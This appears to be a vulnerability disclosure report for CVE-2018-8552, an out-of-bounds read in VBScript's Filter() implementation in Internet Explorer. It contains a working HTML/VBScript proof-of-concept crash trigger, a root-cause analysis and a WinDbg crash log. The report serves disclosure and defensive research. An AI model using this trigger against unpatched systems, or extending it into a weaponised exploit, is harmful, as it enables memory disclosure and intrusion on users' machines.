vbscript: out-of-bounds read in rtFilter 

CVE-2018-8552


There is an out-of-bounds vulnerability in Microsoft VBScript. The vulnerability has been confirmed in Internet Explorer on Windows 7 with the latest patches applied.

PoC:
(Note that Page Heap might need to be enabled to observe the crash)

===============================================================================

<!-- saved from url=(0016)http://localhost -->
<meta http-equiv="x-ua-compatible" content="IE=10">
<script type="text/vbscript">
On Error Resume Next

Class class1
  Public Default Property Get x
    ReDim arr(1)
  End Property
End Class

set c = new class1
arr = Array("b", "b", "a", "a", c)
Call Filter(arr, "a")

</script>

===============================================================================

Preliminary Analysis:

The rtFilter function is called from VbsFilter when a Filter() function is invoked. The Filter() function takes an array of strings and a string as params and returns another array containing just those elements from the original array that contain the specified (sub)string.

The issue is that the input array can be resized during the rtFilter call (by invoking a default getter on one of the input array members) and rtFilter fails to handle this case correctly. While rtFilter does implement some logic to determine if the input array has been resized, this logic fails to take into account elements of the input array that *do not match* the input string (Notice the "b" strings in the PoC and how the PoC would stop to work if those are all changed to "a").

Debug log:

===============================================================================

(a04.604): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000002 ecx=0d9d6fe0 edx=0d9cf000 esi=0d9cf000 edi=0d924ff6
eip=767d497b esp=09d2bcbc ebp=09d2bcc8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
OLEAUT32!VariantCopy+0xb:
767d497b 0fb73e          movzx   edi,word ptr [esi]       ds:002b:0d9cf000=????

0:007> r
eax=00000000 ebx=00000002 ecx=0d9d6fe0 edx=0d9cf000 esi=0d9cf000 edi=0d924ff6
eip=767d497b esp=09d2bcbc ebp=09d2bcc8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
OLEAUT32!VariantCopy+0xb:
767d497b 0fb73e          movzx   edi,word ptr [esi]       ds:002b:0d9cf000=????

0:007> k
 # ChildEBP RetAddr  
00 09d2bcc8 6f81b301 OLEAUT32!VariantCopy+0xb
01 09d2bd04 6f81b607 vbscript!rtFilter+0x183
02 09d2bd40 6f805407 vbscript!VbsFilter+0x128
03 09d2bd5c 6f80358d vbscript!StaticEntryPoint::Call+0x2f
04 09d2be74 6f805d5e vbscript!CScriptRuntime::RunNoEH+0x2340
05 09d2bec4 6f805c7b vbscript!CScriptRuntime::Run+0xc3
06 09d2bfd4 6f82e888 vbscript!CScriptEntryPoint::Call+0x10b
07 09d2c038 6f80642b vbscript!CSession::Execute+0x12b
08 09d2c088 6f80bc88 vbscript!COleScript::ExecutePendingScripts+0x14f
09 09d2c104 6f80d1b9 vbscript!COleScript::ParseScriptTextCore+0x2a4
0a 09d2c130 6d577d14 vbscript!COleScript::ParseScriptText+0x29
0b 09d2c168 6d5781eb MSHTML!CActiveScriptHolder::ParseScriptText+0x51
0c 09d2c1d8 6d22d1d1 MSHTML!CScriptCollection::ParseScriptText+0x1c6
0d 09d2c2c4 6d22cd73 MSHTML!CScriptData::CommitCode+0x31e
0e 09d2c344 6d22d90d MSHTML!CScriptData::Execute+0x232
0f 09d2c364 6d554bb6 MSHTML!CHtmScriptParseCtx::Execute+0xed
10 09d2c3b8 6cf4c33d MSHTML!CHtmParseBase::Execute+0x201
11 09d2c3d4 6cf4bd5f MSHTML!CHtmPost::Broadcast+0x182
12 09d2c50c 6d013799 MSHTML!CHtmPost::Exec+0x617
13 09d2c52c 6d0136ff MSHTML!CHtmPost::Run+0x3d
14 09d2c548 6d01aef7 MSHTML!PostManExecute+0x61
15 09d2c55c 6d01bce8 MSHTML!PostManResume+0x7b
16 09d2c58c 6d0024b8 MSHTML!CHtmPost::OnDwnChanCallback+0x38
17 09d2c5a4 6cefd4f3 MSHTML!CDwnChan::OnMethodCall+0x2f
18 09d2c5f4 6cefd072 MSHTML!GlobalWndOnMethodCall+0x1a1
19 09d2c648 764262fa MSHTML!GlobalWndProc+0x103
1a 09d2c674 76426d3a user32!InternalCallWinProc+0x23
1b 09d2c6ec 764277c4 user32!UserCallWinProcCheckWow+0x109
1c 09d2c74c 7642788a user32!DispatchMessageWorker+0x3b5
1d 09d2c75c 6e2fab7c user32!DispatchMessageW+0xf
1e 09d2f928 6e3675f8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\iertutil.dll - 
1f 09d2f9e8 77006b7c IEFRAME!LCIETab_ThreadProc+0x3e7
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Internet Explorer\IEShims.dll - 
WARNING: Stack unwind information not available. Following frames may be wrong.
20 09d2fa00 714f3a31 iertutil!PrivateCoInternetCombineIUri+0x2bbc
21 09d2fa38 7735343d IEShims!IEShims_SetRedirectRegistryForThread+0x1c1
22 09d2fa44 77879802 kernel32!BaseThreadInitThunk+0xe
23 09d2fa84 778797d5 ntdll!__RtlUserThreadStart+0x70
24 09d2fa9c 00000000 ntdll!_RtlUserThreadStart+0x1b

===============================================================================


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: ifratric